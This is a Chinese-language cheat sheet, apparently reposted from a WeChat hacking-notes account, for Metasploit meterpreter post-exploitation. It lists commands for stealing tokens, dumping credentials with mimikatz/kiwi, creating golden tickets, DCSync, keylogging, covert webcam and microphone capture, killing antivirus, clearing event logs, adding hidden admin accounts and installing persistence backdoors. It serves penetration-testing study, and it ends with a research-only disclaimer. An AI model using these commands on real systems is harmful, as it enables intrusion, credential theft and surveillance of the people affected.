核心命令
background/bg 将当前会话放置在后台
sessions 查看所有会话
sessions -i id 进入会话 -k 杀死会话
disable_unicode_encoding 禁用unicode字符编码
enable_unicode_encoding 启用unicode字符编码
exit 退出meterpreter会话
get_timeouts 获取当前会话超时值
set_timeouts 设置当前会话超时值
-c 通讯超时时间(秒)
-t 重试总时间
-w 重试等待时间
guid 获取会话的guid
info 获取post模块信息
irb 打开一个交互的Ruby Shell
load 加载扩展
machine_id 获取连接到目标机器的MSF ID
migrate pid值 将meterpreter进程迁移到指定pid进程中
quit 退出meterpreter会话
run 执行meterpreter脚本或post模块
uuid 获取当前会话的uuid值
文件系统命令
cat 读取文件
cd 更改目录
cp 将文件复制到目标
del 删除指定文件
dir 列出当前目录下文件(同ls)
download 下载文件或目录
edit 编辑文件,若文件不存在,会新建文件
getwd 显示当前目录
getlwd 显示当前本地目录
lcat 读取本地文件
lcd 更改本地目录
lls 列出本地文件
lpwd 显示本地目录
mkdir 简历目录
mv 移动文件
pwd 显示当前目录
rm 删除文件
rmdir 删除目录
search -f 查找文件
upload 上传文件
网络命令
arp 显示主机arp缓存信息
getproxy 显示代理配置
ifconfig/ipconfig 显示网络设备信息
netstat 显示网络连
portfwd add|delete|list|flush 将本地端口转发到远程服务
-l 监听的本地端口
-L 监听的本地主机(可选)
-p 连接的远程端口
-r 连接的远程主机
resolve 主机名 -f ipv4|ipv6 解析目标的主机名
route 查看和修改路由表
run autoroute -s subnet -n netmask 添加路由
run post/multi/manage/autoroute 添加路由
run autoroute -p 查看已添加的路由
use auxiliary/server/socks_proxy 添加socks代理
系统命令
clearev 清除事件日志
steal_token pid 从目标进程窃取令牌
drop_token 放弃令牌
rev2self 返回之前的token权限
getenv 变量名 获取环境变量值
getpid 查看当前进程pid
getprivs 获取当前进程可用的所有权限
getuid 查看权限
getsid 查看用户的sid
kill pid值 杀死进程
localtime 显示目标系统的日期和时间
pgrep -f -l 进程名 显示进程路径和PID
ps 查看进程
sysinfo 查看目标系统信息
suspend -c 遇到错误也挂起程序 -r 恢复程序
shutdown 关机
reboot 重启
shell 进入目标cmd(进入cmd后输入chcp 65001 解决页面乱码)
摄像头命令
webcam_list 列出摄像头
webcam_snap 指定摄像头拍照
-i 指定使用摄像头的索引号
-p 指定图像文件路径
-q 图像质量(默认为50,数字越大质量越好)
-v 自动查看图像(默认开启)
webcam_stream 播放指定摄像头的视频流
webcam_chat 开启视频聊天
webcam_mic 从默认麦克风录制音频
-d 记录秒数(默认为1)
-f 文件路径
用户接口命令
enumdesktops 列出所有可访问的桌面和窗口工作站
getdesktop 获取当前的桌面环境
idletime 查看目标系统闲置时
keyboard_send 模拟键盘向目标发送键盘输入
keyevent keycode值 发送键盘事件
keyscan_start 开启键盘捕获
keyscan_stop 停止键盘捕获
keyscan_dump 获取目标键盘输入内容
mouse 发送鼠标事件
screenshare 实时观察远程用户桌面
screenshot 获取目标桌面屏幕截图
setdesktop 更改当前桌面
uictl [enable/disable] [keyboard/mouse/all] 开启或禁止键盘鼠标
execute执行文件
execute 在目标中执行文件
-f 指定要运行的可执行命令
-H 创建隐藏进程
-i 创建进程后与进程交互
-m 在内存中执行
关闭杀软
run post/windows/manage/killav 关闭杀软
提权命令
getsystem 将你的权限提升到本地系统的权限
post/multi/recon/local_exploit_suggester 根据已有的漏洞,提供可能的利用方法
mimikatz命令
load kiwi 加载kiwi
creds_all 检索所有凭据(已解析)
creds_kerberos 检索kerberos凭据(已解析)
creds_msv 检索LM/NTML凭据
creds_livessp 检索存活的ssp凭证(ssp是最新登录到其他RDP终端所用的账号密码)
creds_ssp 检索ssp凭证
creds_tspkg 检索tspkg凭证
creds_wdigest 检索wdigest凭证
dcsync 通过dcsync检索用户账户信息(未解析)
dcsync_ntlm 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create 创建黄金票据
-d 目标域的域名(必须)
-e 以小时为单位的持续时间,默认为10年
-g 组标识符
-i 与票据关联的用户id
-k 与krbtgt域用户的NTLM哈希
-s 域的SID
-t 存储票据文件的路径(必须)
-u 创建票据的用户名(必须)
kerberos_ticket_list 列出所有kerberos票据
kerberos_ticker_purge 清除所有正在使用的kerberos票据
kerberos_ticket_use 使用kerberos票据
kiwi_cmd 执行mimikatz命令
lsa_dump_sam 获取本地管理员的NTLM哈希
las_dump_secrets 从Windows系统的注册表或Hive文件中提取保存的密码
password_change 修改用户的密码或hash
-n 已知的旧hash(不能与-p一起使用)
-N 要设置的新hash (不能与-P一起使用)
-p 已知的旧密码(不能与-n一起使用)
-P 要设置的新密码(不能与-N一起使用)
-s 执行操作的服务器
-u 待修改密码的用户名
wifi_list 列出当前用户的wifi配置文件
wifi_list_shared 列出共享的wifi配置文件(需要SYSTEM)
在域环境中,不同域控制器之间,每 15 分钟都会有一次域数据的同步。当一个域控制器想从其他域控制器获取数据时,会发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。 Mimikatz中的dcsync功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
远程桌面
使用getgui脚本(目前新版本不支持)
run getgui -u username -p passwd 创建账号(需要system权限)
shell 进入目标cmd
chcp 65001 解决cmd乱码
net localgroup administrators username/add 将创建的用户加入管理员组
exit 回到meterpreter
run getgui -e 开启远程桌面
使用post/windows/manage/enable_rdp脚本(推荐使用)
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp username=rdpname password=rdppass 添加账号并开启目标远程桌面
终端输入 rdesktop x.x.x.x 使用创建的账号登录远程桌面
sniffer模块抓包
load sniffer 加载sniffer模块
sniffer_interfaces 查看网卡
sniffer_start [interface-id] 在指定接口上进行抓包
sniffer_stop [interface-id] 在指定接口上停止抓包
sniffer_dump [interface-id] [pcap-file] 下载捕获的数据包
sniffer_release [interface-id] 释放在指定接口捕获的数据包
sniffer_stats [interface-id] 查看捕获的数据包信息
注册表命令
reg 修改注册表
-d 要存储在注册表值中的数据
-k 注册表路径
-r 要连接到的远程计算机名称(使用当前进程凭据)
-t 注册表值类型
-v 注册表值名称
-w 设置KEY_WOW64有效值(32或64)
enumkey [-k <key>] 枚举注册表项
createkey [-k <key>] 创建注册表项
deletekey [-k <key>] 删除注册表项
queryclass [-k <key>] 查询所提供键的类
setval [-k <key> -v <val> -d <data>] 设置注册表值
-b 使用二进制blob设置REG_BINARY类型的二进制数据
deleteval [-k <key> -v <val>] 删除注册表值
queryval [-k <key> -v <val>] 查询键值数据内容
incognito模块假冒令牌
load incognito 加载incognito模块
list_tokens -u 查看可用的用户令牌
list_tokens -g 查看可用的用户组令牌
impersonate_token 模拟指定的令牌
add_group_user <groupname> <username> 添加用户到组中
add_localgroup_user <groupname> <username> 添加用户到本地组中
snarf_hashes <sniffer_host> 捕获目标系统所有活动的哈希值
后门设置
exploit/windows/local/persistence
该模块将会在目标写入一个vbs脚本,然后加入开机启动项(在用户登录或通过注册表启动系统时执行payload)。
post/windows/manage/persistence_exe
该模块将上传一个exe文件,安装为USER、SYSTEM或SERVICE。(USER将在用户登录时启动,SYSTEM将在系统启动时启动,SERVICE将创建一个新服务)
exploit/windows/local/persistence_service
use exploit/multi/handler 使用监听模块
set payload xxx 设置payload
set lhost xxx 设置监听地址
set lport xxx 设置监听端口
run 开启监听
原文始发于微信公众号(Hacker学习笔记):MSF后渗透meterpreter使用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论